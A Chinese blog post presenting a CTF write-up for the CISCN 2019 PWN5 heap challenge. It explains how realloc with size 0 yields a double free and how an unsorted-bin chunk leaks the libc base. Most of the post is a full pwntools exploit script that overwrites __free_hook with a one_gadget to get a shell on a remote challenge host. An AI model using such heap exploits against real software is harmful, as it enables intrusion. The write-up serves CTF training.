• pwn--realloc [CISCN 2019东南]PWN5


    首先学习一下realloc这个函数,以下是文心一言的解释:

    realloc是C语言库函数之一,用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。

    realloc函数的原型为:void* realloc(void* ptr, size_t size); 其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。如果ptr为NULL,则realloc函数的行为与malloc函数相同;如果size为0,则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功,则返回值不为NULL;如果分配失败,则返回NULL。

    提取关键点:分配更大的内存时会先释放原chunk,当size为0时,会释放ptr。这是不借助free函数的释放,不会将指针清空,可以用来构造doublefree。

    还有一个知识点:

    在程序中,我们请求了一个大小为0的堆块。

    但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。

    有了以上两个知识点,让我们进入下面这道题:

    delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。

    发现edit有realloc函数,恍然大悟!

    这里补充一点,低版本,至少libc 2.27及以下当你从unsortedbin分配一个堆块时,不会把fd和bk指针清空,可以利用这个泄露Libc基址,至少libc 2.31及以上会把这两个区域清空。

    以下是exp:

    1. from pwn import *
    2. context.arch='amd64'
    3. elf=ELF('./pwn')
    4. libc=ELF('./libc-2.27.so')
    5. io=remote('node5.anna.nssctf.cn',24158)
    6. #io=remote('pwn.challenge.ctf.show',28284)
    7. #io=process('./pwn')
    8. def add(size,content='a'):
    9. io.recvuntil(b"Your choice:")
    10. io.sendline(b'1')
    11. io.recvuntil(b"size?>")
    12. io.sendline(str(size).encode())
    13. io.recvuntil(b"content:")
    14. io.send(content)
    15. def delete(idx) :
    16. io.recvuntil(b"Your choice:")
    17. io.sendline(b'4')
    18. io.recvuntil(b"Index:")
    19. io.sendline(str(idx).encode())
    20. def show(idx):
    21. io.recvuntil(b"Your choice:")
    22. io.sendline(b'3')
    23. io.recvuntil(b"Index:")
    24. io.sendline(str(idx).encode())
    25. def edit(idx,content) :
    26. io.recvuntil(b"Your choice:")
    27. io.sendline(b'2')
    28. io.recvuntil(b"Index:")
    29. io.sendline(str(idx).encode())
    30. io.recvuntil(b"New content:")
    31. io.send(content)
    32. add(0x410)#0
    33. add(0x10)#1
    34. delete(0)
    35. add(0x410,b'a'*5+b'b'*3)#0
    36. show(0)
    37. io.recvuntil(b'bbb')
    38. usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
    39. print('usbin:',hex(usbin))
    40. #gdb.attach(io)
    41. #pause()
    42. malloc_hook=usbin-0x70
    43. libc_base=malloc_hook-libc.sym['__malloc_hook']
    44. free_hook=libc_base+libc.sym['__free_hook']
    45. system=libc_base+libc.sym['system']
    46. print('free_hook:',hex(free_hook))
    47. print('system:',hex(system))
    48. add(0)#2
    49. delete(1)
    50. io.recvuntil(b"Your choice:")
    51. io.sendline(b'2')
    52. io.recvuntil(b"Index:")
    53. io.sendline(b'2')
    54. delete(2)
    55. one_gadget=libc_base+0x4f302
    56. add(0x10,p64(free_hook))#1
    57. #gdb.attach(io)
    58. #pause()
    59. add(0x10,p64(one_gadget))#2
    60. add(0x20,b'/bin/sh\x00')#3
    61. delete(3)
    62. io.interactive()

  • 相关阅读:
    好心情精神心理科医生:如何与青春期的孩子沟通?
    前端如何将自定义组件注册到全局
    Mysql tinyint(1)与tinyint(4)的区别
    linux查看进程对应的线程(数)
    新四级冲刺需牢记的700核心词
    RHCE---DNS服务器
    解决大模型行业落地三大挑战,华为云GaussDB向量数据库正式发布
    设计模式之策略模式
    9.前端笔记-CSS-盒子模型-border和padding
    鸿蒙OS开发:【一次开发,多端部署】(app市场首页)项目
  • 原文地址:https://blog.csdn.net/A13837377363/article/details/138183550